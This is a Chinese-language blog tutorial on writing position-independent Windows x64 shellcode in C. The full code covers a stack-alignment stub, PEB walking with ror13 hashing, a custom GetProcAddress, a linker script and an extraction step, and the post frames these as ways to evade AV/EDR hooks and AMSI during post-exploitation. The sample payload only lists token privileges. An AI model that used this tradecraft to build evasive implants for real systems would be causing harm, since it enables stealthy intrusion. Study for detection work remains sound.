在内存的目标文件上执行shellcode
2021-02-05 10:16
在后渗透利用开发中,反射型DLL和shellcode注入仍然是最大的威胁,因为其执行仅在内存中进行,且不会把任何内容拖放到磁盘上。但是,大多数offsec工具只有在初始访问或利用易受攻击的服务和进程时,才会注入shellcode。后渗透利用的攻击者通常会选择可以直接加载到内存的反射性DLL和C#可执行文件。但如果我们可以用更高级的语言(例如C语言)编写shellcode呢?本文将深入探讨链接器和编译器的滥用,用C语言编写shellcode,然后进行提取。
本文提到的所有代码都已上传到我的github(https://github.com/paranoidninja/PIC-Get-Privileges)上。
Windows编译的可执行文件有不同的头文件和段。它们通常以DOS标头、PE标头、可选标头开头,然后段主要时.text,.bss,.idata,.edata,.rdata等。用C语言编写shellcode,覆盖反射型DLL或C#可执行文件,向远程进程注入shellcode时,就算内存里有PE标头、DOS标头或其他明显的字符串,PE也不会被检测到。AMSI也不会检测shellcode,且shellcode的大小比DLL或C#可执行文件小得多。
用C语言编写shellcode时,我们必须注意编译后的可执行文件只有一个可执行文件段(.text段)。PE的全局变量储存在.bss段,.把DLL导入到.idata,导出到.edata。由于我们只要.text段,所以我们的代码中不能包含全局变量,导入的符号或静态字符串。我们的函数中不能包含基于函数字符串的char或wchar数组,因为char数组储存在.rdata段。而我们的目的是把所有内容都写入.text段,从.text段提取操作码,然后在内存中执行它们。也就是说,我们必须在运行时解决导入问题,且不能用静态库,把字节数组转换成字符串。默认情况下,链接器把PE的入口点链到mainCRTStartup,加载dll,解析命令行参数等。如果不想把msvcrt.dll链到可执行文件,那就要把这个入口点更改为其中一个函数。如果只编写x64 shellcode,那就必须确保shellcode以16字节的堆栈对齐方式对齐,。我们要编写独立于Microsoft的cl.exe编译器,且可以用MingW GCC交叉编译器进行编译的代码。
因此,要实现以上所有内容,必须满足以下条件:
16字节堆栈对齐
编译的可执行文件只有.text段
没有独立的char 数组或wchar数组字符串
在运行时解决所有导入
用自定义入口点替换mainCRTStartup函数的链接器脚本
为了确保shellcode始终对齐堆栈,需要编写一个小的程序集存根,它会让堆栈对齐,调用C语言函数作为入口点。把这个汇编代码转换为目标文件,然后将它链到C语言源代码。接着,编写一个函数,获取当前用户的特权信息,并把它输出到屏幕上,给这个C语言函数命名为getprivs。在汇编代码中,把这个函数添加为外部函数,因为我们不会把getprivs函数写入程序集。然后,把程序集文件转换为目标文件,并用C语言编写所有代码来完成所要执行的操作。
extern getprivsglobal alignstacksegment .textalignstack:push rdi ; backup rdi since we will be using this as our main registermov rdi, rsp ; save stack pointer to rdiand rsp, byte -0x10 ; align stack with 16 bytessub rsp, byte +0x20 ; allocate some space for our C functioncall getprivs ; call the C functionmov rsp, rdi ; restore stack pointerpop rdi ; restore rdiret ; return where we left
把上面的asm文件命名为Adjuststack.asm,用mingw对其进行编译:
nasm -f win64 adjuststack.asm -o objects/adjuststack.o既然要获取当前用户的特权信息,那么我们需要导出符号或WinAPI,即LoadLibraryA,CloseHandle,kernel32.dll的GetCurrentProcess,OpenProcessToken,GetTokenInformation,advapi32.dll的LookupPrivilegeNameW以及msvcrt.dll的calloc和wprintf。同时还要更改入口点,为了在创建目标文件时不让其被静态链到。在运行时,计算kernel32.dll的ror13哈希,找到LoadLibraryA的地址,然后用LoadLibraryA加载所需要的库,获取上述每个Windows导出符号的函数指针来解决这些导出问题。GetProcAddress是Windows API中最容易被AV和EDR钩住的函数,所以我们不用它。我们用C语言编写自己的GetProcAddress函数,该函数能解析在LoadLibraryA之后加载的DLL,提取符号的指针。把这些64位指针地址中的每个地址类型转换为我们的typedef。以下是所需符号的类型转换。
// kernel32.dll exportstypedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE);typedef HANDLE(WINAPI* GETCURRENTPROCESS)();// advapi32.dll exportstypedef BOOL(WINAPI* OPENPROCESSTOKEN)(HANDLE, DWORD, PHANDLE);typedef BOOL(WINAPI* GETTOKENINFORMATION)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);typedef BOOL(WINAPI* LOOKUPPRIVILEGENAMEW)(LPCWSTR, PLUID, LPWSTR, LPDWORD);// msvcrt.dll exportstypedef int(WINAPI* WPRINTF)(const wchar_t* format, ...);typedef void*(WINAPI* CALLOC)(size_t num, size_t size);
为了获取DLL的符号地址,需要用到下面的C语言函数,把该函数添加到addresshunter.h中:
//redefine UNICODE_STR structtypedef struct _UNICODE_STR{USHORT Length;USHORT MaximumLength;PWSTR pBuffer;} UNICODE_STR, *PUNICODE_STR;//redefine PEB_LDR_DATA structtypedef struct _PEB_LDR_DATA{DWORD dwLength;DWORD dwInitialized;LPVOID lpSsHandle;LIST_ENTRY InLoadOrderModuleList;LIST_ENTRY InMemoryOrderModuleList;LIST_ENTRY InInitializationOrderModuleList;LPVOID lpEntryInProgress;} PEB_LDR_DATA, * PPEB_LDR_DATA;//redefine LDR_DATA_TABLE_ENTRY structtypedef struct _LDR_DATA_TABLE_ENTRY{LIST_ENTRY InMemoryOrderModuleList;LIST_ENTRY InInitializationOrderModuleList;PVOID DllBase;PVOID EntryPoint;ULONG SizeOfImage;UNICODE_STR FullDllName;UNICODE_STR BaseDllName;ULONG Flags;SHORT LoadCount;SHORT TlsIndex;LIST_ENTRY HashTableEntry;ULONG TimeDateStamp;} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;//redefine PEB_FREE_BLOCK structtypedef struct _PEB_FREE_BLOCK{struct _PEB_FREE_BLOCK * pNext;DWORD dwSize;} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;//redefine PEB structtypedef struct __PEB{BYTE bInheritedAddressSpace;BYTE bReadImageFileExecOptions;BYTE bBeingDebugged;BYTE bSpareBool;LPVOID lpMutant;LPVOID lpImageBaseAddress;PPEB_LDR_DATA pLdr;LPVOID lpProcessParameters;LPVOID lpSubSystemData;LPVOID lpProcessHeap;PRTL_CRITICAL_SECTION pFastPebLock;LPVOID lpFastPebLockRoutine;LPVOID lpFastPebUnlockRoutine;DWORD dwEnvironmentUpdateCount;LPVOID lpKernelCallbackTable;DWORD dwSystemReserved;DWORD dwAtlThunkSListPtr32;PPEB_FREE_BLOCK pFreeList;DWORD dwTlsExpansionCounter;LPVOID lpTlsBitmap;DWORD dwTlsBitmapBits[2];LPVOID lpReadOnlySharedMemoryBase;LPVOID lpReadOnlySharedMemoryHeap;LPVOID lpReadOnlyStaticServerData;LPVOID lpAnsiCodePageData;LPVOID lpOemCodePageData;LPVOID lpUnicodeCaseTableData;DWORD dwNumberOfProcessors;DWORD dwNtGlobalFlag;LARGE_INTEGER liCriticalSectionTimeout;DWORD dwHeapSegmentReserve;DWORD dwHeapSegmentCommit;DWORD dwHeapDeCommitTotalFreeThreshold;DWORD dwHeapDeCommitFreeBlockThreshold;DWORD dwNumberOfHeaps;DWORD dwMaximumNumberOfHeaps;LPVOID lpProcessHeaps;LPVOID lpGdiSharedHandleTable;LPVOID lpProcessStarterHelper;DWORD dwGdiDCAttributeList;LPVOID lpLoaderLock;DWORD dwOSMajorVersion;DWORD dwOSMinorVersion;WORD wOSBuildNumber;WORD wOSCSDVersion;DWORD dwOSPlatformId;DWORD dwImageSubsystem;DWORD dwImageSubsystemMajorVersion;DWORD dwImageSubsystemMinorVersion;DWORD dwImageProcessAffinityMask;DWORD dwGdiHandleBuffer[34];LPVOID lpPostProcessInitRoutine;LPVOID lpTlsExpansionBitmap;DWORD dwTlsExpansionBitmapBits[32];DWORD dwSessionId;ULARGE_INTEGER liAppCompatFlags;ULARGE_INTEGER liAppCompatFlagsUser;LPVOID lppShimData;LPVOID lpAppCompatInfo;UNICODE_STR usCSDVersion;LPVOID lpActivationContextData;LPVOID lpProcessAssemblyStorageMap;LPVOID lpSystemDefaultActivationContextData;LPVOID lpSystemAssemblyStorageMap;DWORD dwMinimumStackCommit;} _PEB, * _PPEB;// main hashing function for ror13__forceinline DWORD ror13( DWORD d ){return _rotr( d, 13 );}__forceinline DWORD hash( char * c ){register DWORD h = 0;do{h = ror13( h );h += *c;} while( *++c );return h;}// function to fetch the base address of kernel32.dll from the Process Environment BlockUINT64 GetKernel32() {ULONG_PTR kernel32dll, val1, val2, val3;USHORT usCounter;// kernel32.dll is at 0x60 offset and __readgsqword is compiler intrinsic,// so we don't need to extract it's symbolkernel32dll = __readgsqword( 0x60 );kernel32dll = (ULONG_PTR)((_PPEB)kernel32dll)->pLdr;val1 = (ULONG_PTR)((PPEB_LDR_DATA)kernel32dll)->InMemoryOrderModuleList.Flink;while( val1 ) {val2 = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)val1)->BaseDllName.pBuffer;usCounter = ((PLDR_DATA_TABLE_ENTRY)val1)->BaseDllName.Length;val3 = 0;//calculate the hash of kernel32.dlldo {val3 = ror13( (DWORD)val3 );if( *((BYTE *)val2) >= 'a' )val3 += *((BYTE *)val2) - 0x20;elseval3 += *((BYTE *)val2);val2++;} while( --usCounter );// compare the hash kernel32.dllif( (DWORD)val3 == KERNEL32DLL_HASH ) {//return kernel32.dll if foundkernel32dll = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)val1)->DllBase;return kernel32dll;}val1 = DEREF( val1 );}return 0;}// custom strcmp function since this function will be called by GetSymbolAddress// which means we have to call strcmp before loading msvcrt.dll// so we are writing our own my_strcmp so that we don't have to play with egg or chicken dilemmaint my_strcmp (const char *p1, const char *p2) {const unsigned char *s1 = (const unsigned char *) p1;const unsigned char *s2 = (const unsigned char *) p2;unsigned char c1, c2;do {c1 = (unsigned char) *s1++;c2 = (unsigned char) *s2++;if (c1 == '\0') {return c1 - c2;}}while (c1 == c2);return c1 - c2;}UINT64 GetSymbolAddress( HANDLE hModule, LPCSTR lpProcName ) {UINT64 dllAddress = (UINT64)hModule,symbolAddress = 0,exportedAddressTable = 0,namePointerTable = 0,ordinalTable = 0;if( hModule == NULL ) {return 0;}PIMAGE_NT_HEADERS ntHeaders = NULL;PIMAGE_DATA_DIRECTORY dataDirectory = NULL;PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL;ntHeaders = (PIMAGE_NT_HEADERS)(dllAddress + ((PIMAGE_DOS_HEADER)dllAddress)->e_lfanew);dataDirectory = (PIMAGE_DATA_DIRECTORY)&ntHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];exportDirectory = (PIMAGE_EXPORT_DIRECTORY)( dllAddress + dataDirectory->VirtualAddress );exportedAddressTable = ( dllAddress + exportDirectory->AddressOfFunctions );namePointerTable = ( dllAddress + exportDirectory->AddressOfNames );ordinalTable = ( dllAddress + exportDirectory->AddressOfNameOrdinals );if (((UINT64)lpProcName & 0xFFFF0000 ) == 0x00000000) {exportedAddressTable += ( ( IMAGE_ORDINAL( (UINT64)lpProcName ) - exportDirectory->Base ) * sizeof(DWORD) );symbolAddress = (UINT64)( dllAddress + DEREF_32(exportedAddressTable) );}else {DWORD dwCounter = exportDirectory->NumberOfNames;while( dwCounter-- ) {char * cpExportedFunctionName = (char *)(dllAddress + DEREF_32( namePointerTable ));if( my_strcmp( cpExportedFunctionName, lpProcName ) == 0 ) {exportedAddressTable += ( DEREF_16( ordinalTable ) * sizeof(DWORD) );symbolAddress = (UINT64)(dllAddress + DEREF_32( exportedAddressTable ));break;}namePointerTable += sizeof(DWORD);ordinalTable += sizeof(WORD);}}return symbolAddress;}
既然要更改入口点,那么链接器也要知道这一点。把入口点重定向到程序集标签alignstack,对齐16字节的堆栈,然后调用getprivs()函数。我们不会编写任何int main()或void main(),所以要确保链接器对齐函数执行的顺序。下面是将执行该操作的链接器脚本。
ENTRY(alignstack)SECTIONS{.text :{*(.text.alignstack)*(.text.getprivs)}}
一切都设置好后,就可以编写入口点函数了。如果检查以上所有C语言代码,你会发现我们没有用任何全局变量或静态char数组字符串。但是大多数时候,我们必须用char数组字符串来格式化或打印shellcode的输出。在这种情况下,我们可以用char或wchar字节数组执行此操作,如下所示。在字节数组中编写char字符串,确保我们的字符串不在.bss段,编译器会强制把它包括在PE的.text段里:
CHAR *loadlibrarya_c = "LoadLibraryA"; // will become ->CHAR loadlibrarya_c[] = {'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0};
获取当前用户特权的最终代码如下所示:
// kernel32.dll exportstypedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE);typedef HANDLE(WINAPI* GETCURRENTPROCESS)();// advapi32.dll exportstypedef BOOL(WINAPI* OPENPROCESSTOKEN)(HANDLE, DWORD, PHANDLE);typedef BOOL(WINAPI* GETTOKENINFORMATION)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);typedef BOOL(WINAPI* LOOKUPPRIVILEGENAMEW)(LPCWSTR, PLUID, LPWSTR, LPDWORD);// msvcrt.dll exportstypedef int(WINAPI* WPRINTF)(const wchar_t* format, ...);typedef void*(WINAPI* CALLOC)(size_t num, size_t size);void getprivs() {//dlls to dynamically load during runtimeUINT64 kernel32dll, msvcrtdll, advapi32dll;//symbols to dynamically resolve from dll during runtimeUINT64 LoadLibraryAFunc, CloseHandleFunc,OpenProcessTokenFunc, GetCurrentProcessFunc, GetTokenInformationFunc, LookupPrivilegeNameWFunc,callocFunc, wprintfFunc;// kernel32.dll exportskernel32dll = GetKernel32();CHAR loadlibrarya_c[] = {'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', 0};LoadLibraryAFunc = GetSymbolAddress((HANDLE)kernel32dll, loadlibrarya_c);CHAR getcurrentprocess_c[] = {'G', 'e', 't', 'C', 'u', 'r', 'r', 'e', 'n', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0};GetCurrentProcessFunc = GetSymbolAddress((HANDLE)kernel32dll, getcurrentprocess_c);CHAR closehandle_c[] = {'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0};CloseHandleFunc = GetSymbolAddress((HANDLE)kernel32dll, closehandle_c);// advapi32.dll exportsCHAR advapi32_c[] = {'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', 0};advapi32dll = (UINT64) ((LOADLIBRARYA)LoadLibraryAFunc)(advapi32_c);CHAR openprocesstoken_c[] = {'O', 'p', 'e', 'n', 'P', 'r', 'o', 'c', 'e', 's', 's', 'T', 'o', 'k', 'e', 'n', 0};OpenProcessTokenFunc = GetSymbolAddress((HANDLE)advapi32dll, openprocesstoken_c);CHAR gettokeninformation_c[] = { 'G', 'e', 't', 'T', 'o', 'k', 'e', 'n', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0 };GetTokenInformationFunc = GetSymbolAddress((HANDLE)advapi32dll, gettokeninformation_c);CHAR lookupprivilegenamew_c[] = {'L', 'o', 'o', 'k', 'u', 'p', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e', 'N', 'a', 'm', 'e', 'W', 0};LookupPrivilegeNameWFunc = GetSymbolAddress((HANDLE)advapi32dll, lookupprivilegenamew_c);// msvcrt.dll exportsCHAR msvcrt_c[] = {'m', 's', 'v', 'c', 'r', 't', '.', 'd', 'l', 'l', 0};msvcrtdll = (UINT64) ((LOADLIBRARYA)LoadLibraryAFunc)(msvcrt_c);CHAR calloc_c[] = {'c', 'a', 'l', 'l', 'o', 'c', 0};callocFunc = GetSymbolAddress((HANDLE)msvcrtdll, calloc_c);CHAR wprintf_c[] = {'w', 'p', 'r', 'i', 'n', 't', 'f', 0};wprintfFunc = GetSymbolAddress((HANDLE)msvcrtdll, wprintf_c);DWORD cbSize = sizeof(TOKEN_ELEVATION), tpSize, length;HANDLE hToken = NULL;TOKEN_ELEVATION Elevation;PTOKEN_PRIVILEGES tPrivs = NULL;WCHAR name[256];WCHAR priv_enabled[] = { L'[', L'+', L']', L' ', L'%', L'-', L'5', L'0', L'l', L's', L' ', L'E', L'n', L'a', L'b', L'l', L'e', L'd', L' ', L'(', L'D', L'e', L'f', L'a', L'u', L'l', L't', L')', L'\n', 0 };WCHAR priv_adjusted[] = { L'[', L'+', L']', L' ', L'%', L'-', L'5', L'0', L'l', L's', L' ', L'E', L'n', L'a', L'b', L'l', L'e', L'd', L' ', L'(', L'D', L'e', L'f', L'a', L'u', L'l', L't', L')', L'\n', 0 };WCHAR priv_disabled[] = { L'[', L'+', L']', L' ', L'%', L'-', L'5', L'0', L'l', L's', L' ', L'E', L'n', L'a', L'b', L'l', L'e', L'd', L' ', L'(', L'D', L'e', L'f', L'a', L'u', L'l', L't', L')', L'\n', 0 };WCHAR priv_elevated[] = {L'[', L'+', L']', L' ', L'E', L'l', L'e', L'v', L'a', L't', L'e', L'd', 0};WCHAR priv_restricted[] = {L'[', L'+', L']', L' ', L'R', L'e', L's', L't', L'r', L'i', L'c', L't', L'e', L'd', 0};if (((OPENPROCESSTOKEN)OpenProcessTokenFunc)(((GETCURRENTPROCESS)GetCurrentProcessFunc)(), TOKEN_QUERY, &hToken)) {((GETTOKENINFORMATION)GetTokenInformationFunc)(hToken, TokenPrivileges, tPrivs, 0, &tpSize);tPrivs = (PTOKEN_PRIVILEGES)((CALLOC)callocFunc)(tpSize+1, sizeof(TOKEN_PRIVILEGES));if (tPrivs) {if (((GETTOKENINFORMATION)GetTokenInformationFunc)(hToken, TokenPrivileges, tPrivs, tpSize, &tpSize)) {for(int i=0; i<tPrivs->PrivilegeCount; i++){length=256;((LOOKUPPRIVILEGENAMEW)LookupPrivilegeNameWFunc)(NULL, &tPrivs->Privileges[i].Luid, name, &length);if (tPrivs->Privileges[i].Attributes == 3) {((WPRINTF)wprintfFunc)(priv_enabled, name);} else if (tPrivs->Privileges[i].Attributes == 2) {((WPRINTF)wprintfFunc)(priv_adjusted, name);} else if (tPrivs->Privileges[i].Attributes == 0) {((WPRINTF)wprintfFunc)(priv_disabled, name);}}}}if (((GETTOKENINFORMATION)GetTokenInformationFunc)(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {if (Elevation.TokenIsElevated) {((WPRINTF)wprintfFunc)(priv_elevated);} else {((WPRINTF)wprintfFunc)(priv_restricted);}}((CLOSEHANDLE)CloseHandleFunc)(hToken);}}
为了编译以上所有内容,我们可以用makefile,如下所示:
make:nasm -f win64 adjuststack.asm -o adjuststack.ox86_64-w64-mingw32-gcc getprivs.c -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o getprivs.o -Wl,-Tlinker.ld,--no-sehx86_64-w64-mingw32-ld -s adjuststack.o getprivs.o -o getprivs.exe
上面的makefile执行以下操作:
* 为adjuststack创建一个目标文件
* 为getprivs创建一个64位目标文件。
为源文件中的每个函数生成单独段,并在链接期间删除未使用的函数。
禁用可执行文件的静态链接
优化PE的大小
禁用SEH
用链接器脚本提供的参数对齐函数可执行文件顺序
* 编译上面的目标文件,剥离所有调试符号和注释
运行脚本并使用objdump,可以从PE获得实际的shellcode。

(用objdump从可执行文件中获取shellcode。)
可以用objdump来检查文件是否有.text以外的任何标头。

最后,可以把shellcode复制到bin文件中,然后根据需要执行bin文件。

(用objdump查看从二进制文件获取的shellcode。)
在本文中,我会用ASM的inc-bin技术执行shellcode。
; compile with; nasm -f win64 runshellcode.asm -o runshellcode.o; x86_64-w64-mingw32-ld runshellcode.o -o runshellcode.exeGlobal StartStart:incbin "getprivs.bin"
最终的可执行文件大小不可以超过5 KB,在我们的示例中,该文件的大小为4.9kb。

(用objdump查看从二进制文件获取的shellcode。)
最后,在Windows上执行此操作:

(用objdump查看从二进制文件获取的shellcode。)
用有特权的cmd提示符和无特权的cmd提示符,输出结果会有所不同。本文已经进入尾声了。我们将在Brute Ratel的下一个版本中添加功能更新,其中将包括在自身进程和远程进程的目标文件中执行Shellcode。

